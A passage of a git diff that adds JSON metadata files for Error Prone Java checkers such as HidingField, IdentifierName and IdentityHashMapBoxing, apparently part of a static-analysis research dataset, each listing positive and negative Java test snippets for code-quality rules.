{\n protected String varOne;\n public int varTwo;\n String varThree;\n }\n\n /** ClassB has a field with the same name as one in its parent. */\n public static class ClassB extends ClassA {\n // BUG: Diagnostic contains: ClassA\n private String varOne = \"Test\";\n }\n\n /** ClassC has a field with the same name as one in its grandparent. */\n public static class ClassC extends ClassB {\n // BUG: Diagnostic contains: ClassA\n public int varTwo;\n }\n\n /**\n * ClassD has multiple fields with the same name as those in its grandparent, as well as other\n * unrelated members.\n */\n public static class ClassD extends ClassB {\n // BUG: Diagnostic contains: ClassA\n protected int varThree;\n // BUG: Diagnostic contains: ClassA\n int varTwo;\n String randOne;\n String randTwo;\n }\n\n /** ClassE has same variable name as grandparent */\n public static class ClassE extends ClassC {\n // BUG: Diagnostic contains: ClassC\n public String varTwo;\n }\n\n public static class ClassF extends ClassA {\n @SuppressWarnings(\"HidingField\") // no warning because it's suppressed\n public String varThree;\n }\n\n public static class ClassG extends ClassF {\n // BUG: Diagnostic contains: ClassF\n String varThree;\n }\n}\\\n\n\npackage com.google.errorprone.bugpatterns.testdata;\n\n/**\n * @author sulku@google.com (Marsela Sulku)\n * @author mariasam@google.com (Maria Sam)\n */\npublic class HidingFieldPositiveCases2 {\n\n /**\n * ClassA extends a class from a different file and ClassA has a member with the same name as its\n * parent\n */\n public class ClassA extends HidingFieldPositiveCases1.ClassB {\n // BUG: Diagnostic contains: hiding ClassA.varTwo\n private int varTwo;\n }\n\n /**\n * ClassB extends a class from a different file and ClassB has a member with the same name as its\n * grandparent\n */\n public class ClassB extends HidingFieldPositiveCases1.ClassB {\n // BUG: Diagnostic contains: hiding ClassA.varOne\n public int varOne = 2;\n }\n}\\" + }, + { + "description": "hidingFieldNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * @author sulku@google.com (Marsela Sulku)\n * @author mariasam@google.com (Maria Sam)\n */\npublic class HidingFieldNegativeCases {\n // base class\n static class ClassA {\n public int varOne;\n }\n\n // subclass with member variables of different names\n static class ClassB extends ClassA {\n private String varTwo;\n private int varThree;\n public static int varFour;\n public int varFive;\n }\n\n // subclass with initialized member variable of different name\n static class ClassC extends ClassB {\n // publicly-visible static members in superclasses are pretty uncommon, and generally\n // referred to by qualification, so this 'override' is OK\n private String varFour = \"Test\";\n\n // The supertype's visibility is private, so this redeclaration is OK.\n private int varThree;\n\n // warning suppressed when overshadowing variable in parent\n @SuppressWarnings(\"HidingField\")\n public int varFive;\n\n // warning suppressed when overshadowing variable in grandparent\n @SuppressWarnings(\"HidingField\")\n public int varOne;\n }\n\n // subclass with member *methods* with the same name as superclass member variable -- this is ok\n static class ClassD extends ClassC {\n public void varThree() {}\n\n public void varTwo() {}\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ICCProfileGetInstance.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ICCProfileGetInstance.json new file mode 100644 index 0000000..df0be82 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ICCProfileGetInstance.json @@ -0,0 +1,30 @@ +{ + "name": "ICCProfileGetInstance", + "language": "java", + "description": "This method searches the class path for the given file, prefer to read the file and call getInstance(byte[]) or getInstance(InputStream)", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.awt.color.ICC_Profile;\n\n class Test {\n void f(String s) throws Exception {\n // BUG: Diagnostic contains:\n ICC_Profile.getInstance(s);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "import java.awt.color.ICC_Profile;\n\n class Test {\n void f(byte[] b) throws Exception {\n ICC_Profile.getInstance(b);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentifierName.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentifierName.json new file mode 100644 index 0000000..626c4e1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentifierName.json @@ -0,0 +1,310 @@ +{ + "name": "IdentifierName", + "language": "java", + "description": "Methods and non-static variables should be named in lowerCamelCase", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 305, + "branches": 32, + "apis": 2, + "test": [ + { + "description": "nameWithUnderscores", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n private int foo_bar;\n\n int get() {\n return foo_bar;\n }\n }\n \n\n class Test {\n private int fooBar;\n\n int get() {\n return fooBar;\n }\n }" + }, + { + "description": "nameWithUnderscores_findingEmphasisesInitialism", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "class Test {\n // BUG: Diagnostic contains: acronyms\n private int misnamedRPCClient;\n\n int get() {\n return misnamedRPCClient;\n }\n }" + }, + { + "description": "staticFields", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "class Test {\n private static int Foo;\n private static int FooBar;\n private static int Bar_Foo;\n }\n \n\n class Test {\n private static int foo;\n private static int fooBar;\n private static int barFoo;\n }" + }, + { + "description": "nameWithUnderscores_mixedCasing", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "class Test {\n private int foo_barBaz;\n\n int get() {\n return foo_barBaz;\n }\n }\n \n\n class Test {\n private int fooBarBaz;\n\n int get() {\n return fooBarBaz;\n }\n }" + }, + { + "description": "localVariable_renamed", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "class Test {\n int get() {\n int foo_bar = 1;\n return foo_bar;\n }\n }\n \n\n class Test {\n int get() {\n int fooBar = 1;\n return fooBar;\n }\n }" + }, + { + "description": "localClass_renamed", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "class Test {\n public void get() {\n class MisnamedURLVisitor {}\n }\n }\n \n\n class Test {\n public void get() {\n class MisnamedUrlVisitor {}\n }\n }" + }, + { + "description": "resourceVariable_renamed", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "import java.io.ByteArrayOutputStream;\n import java.io.IOException;\n\n class Test {\n void run() throws IOException {\n try (var output_stream = new ByteArrayOutputStream()) {}\n }\n }\n \n\n import java.io.ByteArrayOutputStream;\n import java.io.IOException;\n\n class Test {\n void run() throws IOException {\n try (var outputStream = new ByteArrayOutputStream()) {}\n }\n }" + }, + { + "description": "exceptionParameter_renamed", + "expected-problems": null, + "expected-linenumbers": [ + 213 + ], + "code": "class Test {\n void run() {\n try {\n run();\n } catch (StackOverflowError stack_overflow) {\n }\n }\n }\n \n\n class Test {\n void run() {\n try {\n run();\n } catch (StackOverflowError stackOverflow) {\n }\n }\n }" + }, + { + "description": "nameWithUnderscores_public_notRenamed", + "expected-problems": null, + "expected-linenumbers": [ + 243 + ], + "code": "class Test {\n public int foo_bar;\n\n int get() {\n return foo_bar;\n }\n }" + }, + { + "description": "nameWithLeadingUppercase", + "expected-problems": null, + "expected-linenumbers": [ + 261 + ], + "code": "class Test {\n // BUG: Diagnostic contains: foo\n private int Foo;\n\n int get() {\n return Foo;\n }\n }" + }, + { + "description": "upperCamelCaseAndNotStatic_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "class Test {\n private int FOO;\n }" + }, + { + "description": "upperCamelCaseAndStatic_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 292 + ], + "code": "class Test {\n private static final int FOO_BAR = 1;\n }" + }, + { + "description": "methodNamedParametersFor_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 305 + ], + "code": "class Test {\n public void parametersForMyFavouriteTest_whichHasUnderscores() {}\n }" + }, + { + "description": "methodAnnotatedWithAnnotationContainingTest_exempted", + "expected-problems": null, + "expected-linenumbers": [ + 318 + ], + "code": "class Test {\n @IAmATest\n public void possibly_a_test_name() {}\n\n private @interface IAmATest {}\n }" + }, + { + "description": "ignoreTestMissingTestAnnotation_exempted", + "expected-problems": null, + "expected-linenumbers": [ + 334 + ], + "code": "import org.junit.Ignore;\n\n class Test {\n @Ignore\n public void possibly_a_test_name() {}\n }" + }, + { + "description": "superMethodAnnotatedWithAnnotationContainingTest_exempted", + "expected-problems": null, + "expected-linenumbers": [ + 350 + ], + "code": "class Test {\n @IAmATest\n public void possibly_a_test_name() {}\n\n private @interface IAmATest {}\n }\n \n\n class Test2 extends Test {\n @Override\n public void possibly_a_test_name() {}\n }" + }, + { + "description": "nativeMethod_ignored", + "expected-problems": null, + "expected-linenumbers": [ + 374 + ], + "code": "class Test {\n public native void possibly_a_test_name();\n }" + }, + { + "description": "methodAnnotatedWithExemptedMethod_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 387 + ], + "code": "package com.pholser.junit.quickcheck;\n\n public @interface Property {}\n \n\n class Test {\n @com.pholser.junit.quickcheck.Property\n public void possibly_a_test_name() {}\n }" + }, + { + "description": "methodWithUnderscores_overriddenFromSupertype_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 408 + ], + "code": "class Test extends Base {\n @Override\n public int get_some() {\n return 0;\n }\n }" + }, + { + "description": "methodWithUnderscores_notOverriddenFromGeneratedSupertype_bug", + "expected-problems": null, + "expected-linenumbers": [ + 430 + ], + "code": "import javax.annotation.Generated;\n\n @Generated(\"Hands\")\n abstract class Base {}\n \n\n class Test extends Base {\n // BUG: Diagnostic contains: get_more\n public int get_more() {\n return 0;\n }\n }" + }, + { + "description": "nonConformantOverride_nameMatchesSuper_ignored", + "expected-problems": null, + "expected-linenumbers": [ + 454 + ], + "code": "interface Base {\n // BUG: Diagnostic contains: a_b\n void foo(int a_b);\n }\n \n\n class Test implements Base {\n public void foo(int a_b) {}\n }" + }, + { + "description": "nonConformantOverride_nameDoesNotMatchSuper_flagged", + "expected-problems": null, + "expected-linenumbers": [ + 475 + ], + "code": "interface Base {\n // BUG: Diagnostic contains:\n void foo(int a_b);\n }\n \n\n class Test implements Base {\n // BUG: Diagnostic contains:\n public void foo(int a_b_c) {}\n }" + }, + { + "description": "initialismsInMethodNames_partOfCamelCase", + "expected-problems": null, + "expected-linenumbers": [ + 497 + ], + "code": "interface Test {\n // BUG: Diagnostic contains: getRpcPolicy\n int getRPCPolicy();\n\n // BUG: Diagnostic contains: getRpc\n int getRPC();\n }" + }, + { + "description": "initialismsInVariableNames_partOfCamelCase", + "expected-problems": null, + "expected-linenumbers": [ + 514 + ], + "code": "class Test {\n // BUG: Diagnostic contains: getRpcPolicy\n int getRPCPolicy;\n // BUG: Diagnostic contains: getRpc\n int getRPC;\n }" + }, + { + "description": "initialismsInVariableNames_magicNamesExempt", + "expected-problems": null, + "expected-linenumbers": [ + 530 + ], + "code": "class Test {\n private static final long serialVersionUID = 0;\n }" + }, + { + "description": "lambdaExpressionParameterInsideOverridingMethod", + "expected-problems": null, + "expected-linenumbers": [ + 543 + ], + "code": "import java.util.function.Function;\n\n class Test {\n @Override\n public String toString() {\n // BUG: Diagnostic contains: fooBar\n Function f = foo_bar -> foo_bar;\n return f.apply(\"foo\");\n }\n }" + }, + { + "description": "methodReference", + "expected-problems": null, + "expected-linenumbers": [ + 563 + ], + "code": "class Test {\n private void foo_bar() {}\n\n private Runnable r = this::foo_bar;\n }\n \n\n class Test {\n private void fooBar() {}\n\n private Runnable r = this::fooBar;\n }" + }, + { + "description": "methodNameWithMatchingReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 587 + ], + "code": "class Test {\n private Object Object() {\n return null;\n }\n\n void call() {\n Object();\n }\n }\n \n\n class Test {\n private Object object() {\n return null;\n }\n\n void call() {\n object();\n }\n }" + }, + { + "description": "className_badInitialism", + "expected-problems": null, + "expected-linenumbers": [ + 619 + ], + "code": "" + }, + { + "description": "className_badInitialism_allowed", + "expected-problems": null, + "expected-linenumbers": [ + 630 + ], + "code": "" + }, + { + "description": "className_lowerCamelCase", + "expected-problems": null, + "expected-linenumbers": [ + 641 + ], + "code": "" + }, + { + "description": "className_underscore", + "expected-problems": null, + "expected-linenumbers": [ + 652 + ], + "code": "" + }, + { + "description": "enumName", + "expected-problems": null, + "expected-linenumbers": [ + 663 + ], + "code": "" + }, + { + "description": "unnamedVariables", + "expected-problems": null, + "expected-linenumbers": [ + 676 + ], + "code": "import java.util.Scanner;\n import java.util.function.Function;\n\n class Test {\n void unnamed() {\n try (var _ = new Scanner(\"discarded\")) {\n Function f = _ -> \"bar\";\n String _ = f.apply(\"foo\");\n } catch (Exception _) {\n }\n }\n }" + }, + { + "description": "bindingVariables", + "expected-problems": null, + "expected-linenumbers": [ + 701 + ], + "code": "class Test {\n void test(Object o) {\n // BUG: Diagnostic contains: badName\n if (o instanceof Test BadName) {}\n }\n }" + }, + { + "description": "versionNumbers", + "expected-problems": null, + "expected-linenumbers": [ + 717 + ], + "code": "class Test {\n private static final int GUAVA33_4_6 = 42;\n\n void test() {\n int murmur3_32;\n // BUG: Diagnostic contains: murmur332\n int murmur3__32;\n // BUG: Diagnostic contains: murmur3D\n int murmur3_d;\n // BUG: Diagnostic contains: murmur332\n int murmur_3_32;\n // BUG: Diagnostic contains: Murmur332\n int _murmur3_32;\n\n int addressV6_66_0;\n // BUG: Diagnostic contains: address66255\n int address_66_255;\n // BUG: Diagnostic contains: addressV666Ff\n int addressV6_66_ff;\n // BUG: Diagnostic contains: addressV6Ffffff\n int addressV6_ffffff;\n }\n\n class Murmur3_32 {}\n\n // BUG: Diagnostic contains: Murmur332\n class Murmur3__32 {}\n\n // BUG: Diagnostic contains: Murmur332\n class Murmur3_32_ {}\n\n // BUG: Diagnostic contains: Murmur3d\n class Murmur3_d {}\n\n // BUG: Diagnostic contains: Murmur32\n class Murmur_32 {}\n\n // BUG: Diagnostic contains: Murmur332\n class _Murmur3_32 {}\n }" + }, + { + "description": "versionNumbersInCode", + "expected-problems": null, + "expected-linenumbers": [ + 767 + ], + "code": "class Test {\n private static final int GUAVA33_4_6 = 42;\n\n void murmur3_32() {\n int murmur3_64 = 42;\n }\n\n class Murmur3_32 {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityBinaryExpression.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityBinaryExpression.json new file mode 100644 index 0000000..526ee14 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityBinaryExpression.json @@ -0,0 +1,62 @@ +{ + "name": "IdentityBinaryExpression", + "language": "java", + "description": "A binary expression where both operands are the same is usually incorrect.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 37, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n boolean f(boolean a) {\n // BUG: Diagnostic contains:\n return a || a;\n }\n\n boolean g(boolean a) {\n // BUG: Diagnostic contains:\n return a && a;\n }\n\n boolean h(boolean a) {\n // BUG: Diagnostic contains:\n return f(a) && f(a);\n }\n\n boolean i(boolean a) {\n boolean r;\n // BUG: Diagnostic contains:\n r = a & a;\n // BUG: Diagnostic contains:\n r = a | a;\n return r;\n }\n\n int j(int x) {\n int r;\n // BUG: Diagnostic contains:\n r = x & x;\n // BUG: Diagnostic contains:\n r = x | x;\n return x;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "class Test {\n boolean f(boolean a, boolean b) {\n return a || b;\n }\n\n boolean g(boolean a, boolean b) {\n return a && b;\n }\n\n boolean h(boolean a, boolean b) {\n return a & b;\n }\n\n boolean i(boolean a, boolean b) {\n return a | b;\n }\n\n int j(int a, int b) {\n return a & b;\n }\n\n int k(int a, int b) {\n return a | b;\n }\n }" + }, + { + "description": "negativeLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "class Test {\n double f() {\n return 1.0 / 1.0;\n }\n }" + }, + { + "description": "fixes", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "class Test {\n void f(int a) {\n // BUG: Diagnostic contains: equivalent to `1`\n int r = a / a;\n // BUG: Diagnostic contains: equivalent to `0`\n r = a - a;\n // BUG: Diagnostic contains: equivalent to `0`\n r = a % a;\n // BUG: Diagnostic contains: equivalent to `true`\n boolean b = a >= a;\n // BUG: Diagnostic contains: equivalent to `true`\n b = a == a;\n // BUG: Diagnostic contains: equivalent to `true`\n b = a <= a;\n // BUG: Diagnostic contains: equivalent to `false`\n b = a > a;\n // BUG: Diagnostic contains: equivalent to `false`\n b = a < a;\n // BUG: Diagnostic contains: equivalent to `false`\n b = a != a;\n // BUG: Diagnostic contains: equivalent to `false`\n b = b ^ b;\n }\n }" + }, + { + "description": "negativeAssert", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "import static org.junit.Assert.assertTrue;\n import static org.junit.Assert.assertFalse;\n\n class Test {\n void f(int x) {\n assertTrue(x == x);\n assertFalse(x != x);\n }\n }" + }, + { + "description": "isNaN", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "class Test {\n boolean f(float a, Float b, double c, Double d) {\n boolean r = false;\n // BUG: Diagnostic contains: equivalent to `!Float.isNaN(a)`\n r |= a == a;\n // BUG: Diagnostic contains: equivalent to `Float.isNaN(a)`\n r |= a != a;\n // BUG: Diagnostic contains: equivalent to `!Float.isNaN(b)`\n r |= b == b;\n // BUG: Diagnostic contains: equivalent to `Float.isNaN(b)`\n r |= b != b;\n // BUG: Diagnostic contains: equivalent to `!Double.isNaN(c)`\n r |= c == c;\n // BUG: Diagnostic contains: equivalent to `Double.isNaN(c)`\n r |= c != c;\n // BUG: Diagnostic contains: equivalent to `!Double.isNaN(d)`\n r |= d == d;\n // BUG: Diagnostic contains: equivalent to `Double.isNaN(d)`\n r |= d != d;\n return r;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityHashMapBoxing.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityHashMapBoxing.json new file mode 100644 index 0000000..ff5c2b6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityHashMapBoxing.json @@ -0,0 +1,46 @@ +{ + "name": "IdentityHashMapBoxing", + "language": "java", + "description": "Using IdentityHashMap with a boxed type as the key is risky since boxing may produce distinct instances", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "constructorPositiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n void test() {\n // BUG: Diagnostic contains: IdentityHashMapBoxing\n Map map1 = new IdentityHashMap<>();\n // BUG: Diagnostic contains: IdentityHashMapBoxing\n Map map2 = new IdentityHashMap<>();\n // BUG: Diagnostic contains: IdentityHashMapBoxing\n Map map3 = new IdentityHashMap<>();\n // BUG: Diagnostic contains: IdentityHashMapBoxing\n Map map4 = new IdentityHashMap<>();\n }\n }" + }, + { + "description": "constructorNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n void test() {\n Map map1 = new IdentityHashMap<>();\n Map map2 = new IdentityHashMap<>();\n Map map3 = new IdentityHashMap<>();\n Map map4 = new IdentityHashMap<>();\n Map map5 = new IdentityHashMap<>();\n Map map6 = new IdentityHashMap<>();\n }\n }" + }, + { + "description": "mapsPositiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "import com.google.common.collect.Maps;\n import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n void test() {\n // BUG: Diagnostic contains: IdentityHashMapBoxing\n Map map1 = Maps.newIdentityHashMap();\n // BUG: Diagnostic contains: IdentityHashMapBoxing\n Map map2 = Maps.newIdentityHashMap();\n // BUG: Diagnostic contains: IdentityHashMapBoxing\n Map map3 = Maps.newIdentityHashMap();\n // BUG: Diagnostic contains: IdentityHashMapBoxing\n Map map4 = Maps.newIdentityHashMap();\n }\n }" + }, + { + "description": "mapsNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "import com.google.common.collect.Maps;\n import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n void test() {\n Map map1 = Maps.newIdentityHashMap();\n Map map2 = Maps.newIdentityHashMap();\n Map map3 = Maps.newIdentityHashMap();\n Map map4 = Maps.newIdentityHashMap();\n Map map5 = Maps.newIdentityHashMap();\n Map map6 = Maps.newIdentityHashMap();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityHashMapUsage.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityHashMapUsage.json new file mode 100644 index 0000000..f80bd2c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityHashMapUsage.json @@ -0,0 +1,62 @@ +{ + "name": "IdentityHashMapUsage", + "language": "java", + "description": "IdentityHashMap usage shouldn't be intermingled with Map", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 104, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "equals_putAll_positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n boolean test(Map map, IdentityHashMap ihm) {\n // BUG: Diagnostic contains: IdentityHashMapUsage\n return ihm.equals(map);\n }\n\n void putAll(Map map, IdentityHashMap ihm) {\n // BUG: Diagnostic contains: IdentityHashMapUsage\n ihm.putAll(map);\n }\n }" + }, + { + "description": "equals_putAll_negative", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n boolean test(Map map, IdentityHashMap ihm) {\n return map.equals(ihm);\n }\n\n boolean equalsSameType(IdentityHashMap ihm, IdentityHashMap ihm2) {\n return ihm.equals(ihm2);\n }\n\n void putAll(Map map, IdentityHashMap ihm) {\n map.putAll(ihm);\n }\n\n void putAllSameType(IdentityHashMap ihm, IdentityHashMap ihm2) {\n ihm.putAll(ihm2);\n }\n }" + }, + { + "description": "assignmentToMap", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n Map putAll(IdentityHashMap ihm) {\n Map map;\n // BUG: Diagnostic contains: IdentityHashMapUsage\n map = ihm;\n return map;\n }\n }" + }, + { + "description": "variableInitializationToSuperType", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n Map putAll(IdentityHashMap ihmArg) {\n Map map = ihmArg;\n return map;\n }\n }\n \n\n import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n Map putAll(IdentityHashMap ihmArg) {\n IdentityHashMap map = ihmArg;\n return map;\n }\n }" + }, + { + "description": "ihmInitializationWithNonIhm", + "expected-problems": null, + "expected-linenumbers": [ + 140 + ], + "code": "import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n IdentityHashMap something(Map mapArg) {\n // BUG: Diagnostic contains: IdentityHashMapUsage\n return new IdentityHashMap(mapArg);\n }\n }" + }, + { + "description": "fieldType", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n private final Map m = new IdentityHashMap<>();\n }\n \n\n import java.util.IdentityHashMap;\n import java.util.Map;\n\n class Test {\n private final IdentityHashMap m = new IdentityHashMap<>();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IgnoredPureGetter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IgnoredPureGetter.json new file mode 100644 index 0000000..7ca9c8b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IgnoredPureGetter.json @@ -0,0 +1,86 @@ +{ + "name": "IgnoredPureGetter", + "language": "java", + "description": "Getters on AutoValues, AutoBuilders, and Protobuf Messages are side-effect free, so there is no point in calling them if the return value is ignored. While there are no side effects from the getter, the receiver may have side effects.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 126, + "branches": 11, + "apis": 4, + "test": [ + { + "description": "autoValue", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class A {\n abstract int foo();\n }\n \n\n class B {\n void test(A a) {\n // BUG: Diagnostic contains:\n a.foo();\n }\n }" + }, + { + "description": "autoValueBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Animal {\n abstract String name();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setName(String name);\n\n abstract Animal build();\n }\n }" + }, + { + "description": "autoValueStepBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n public abstract class Animal {\n public abstract String name();\n\n public abstract int legs();\n\n public interface NameStep {\n LegStep setName(String name);\n }\n\n public interface LegStep {\n Build setLegs(int legs);\n }\n\n public interface Build {\n Animal build();\n }\n\n @AutoValue.Builder\n abstract static class Builder implements NameStep, LegStep, Build {}\n }" + }, + { + "description": "autoValue_secondFix", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class A {\n abstract int foo();\n\n static A of(int foo) {\n return null;\n }\n }\n \n\n class B {\n void test() {\n A.of(1).foo();\n }\n }\n \n\n class B {\n void test() {\n A.of(1);\n }\n }" + }, + { + "description": "autoBuilder_getters", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "import com.google.auto.value.AutoBuilder;\n import java.util.Optional;\n\n public class Named {\n Named(String name, String nickname) {}\n\n @AutoBuilder\n public abstract static class Builder {\n public abstract Builder setName(String x);\n\n public abstract Builder setNickname(String x);\n\n abstract String getName();\n\n abstract Optional getNickname();\n\n abstract Named autoBuild();\n\n public Named build() {\n if (!getNickname().isPresent()) {\n setNickname(getName());\n }\n return autoBuild();\n }\n }\n }" + }, + { + "description": "autoBuilder_buildIsntCrv", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "" + }, + { + "description": "refactoringHelper", + "expected-problems": null, + "expected-linenumbers": [ + 274 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void test(TestProtoMessage message) {\n message.getMessage();\n message.hasMessage();\n }\n }\n \n\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void test(TestProtoMessage message) {}\n }" + }, + { + "description": "protoInstanceMethodsFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 301 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void test(TestProtoMessage message) {\n // BUG: Diagnostic contains: IgnoredPureGetter\n message.getMultiField(1);\n // BUG: Diagnostic contains: IgnoredPureGetter\n message.getWeightMap();\n // BUG: Diagnostic contains: IgnoredPureGetter\n message.getWeightOrDefault(1, 42);\n // BUG: Diagnostic contains: IgnoredPureGetter\n message.getWeightOrThrow(1);\n // BUG: Diagnostic contains: IgnoredPureGetter\n message.containsWeight(1);\n // BUG: Diagnostic contains: IgnoredPureGetter\n message.getWeightCount();\n // BUG: Diagnostic contains: IgnoredPureGetter\n message.getMessage();\n // BUG: Diagnostic contains: IgnoredPureGetter\n message.hasMessage();\n }\n }" + }, + { + "description": "protoReturnValueIgnored_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 333 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void test(TestProtoMessage message) {\n Object o = message.getMessage();\n boolean b = message.hasMessage();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImmutableMemberCollection.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImmutableMemberCollection.json new file mode 100644 index 0000000..165c082 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImmutableMemberCollection.json @@ -0,0 +1,118 @@ +{ + "name": "ImmutableMemberCollection", + "language": "java", + "description": "If you don't intend to mutate a member collection prefer using Immutable types.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 238, + "branches": 9, + "apis": 4, + "test": [ + { + "description": "listInitInline_notMutated_replacesTypeWithImmutableList", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n private final List myList = ImmutableList.of(\"a\");\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n private final ImmutableList myList = ImmutableList.of(\"a\");\n }" + }, + { + "description": "setInitConstructor_notMutatedButSuppressed_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "import java.util.List;\n\n class Test {\n @SuppressWarnings(\"ImmutableMemberCollection\")\n private final List myList;\n\n Test(List myList) {\n this.myList = myList;\n }\n }" + }, + { + "description": "listInitConstructor_notMutated_replacesTypeWithImmutableList", + "expected-problems": null, + "expected-linenumbers": [ + 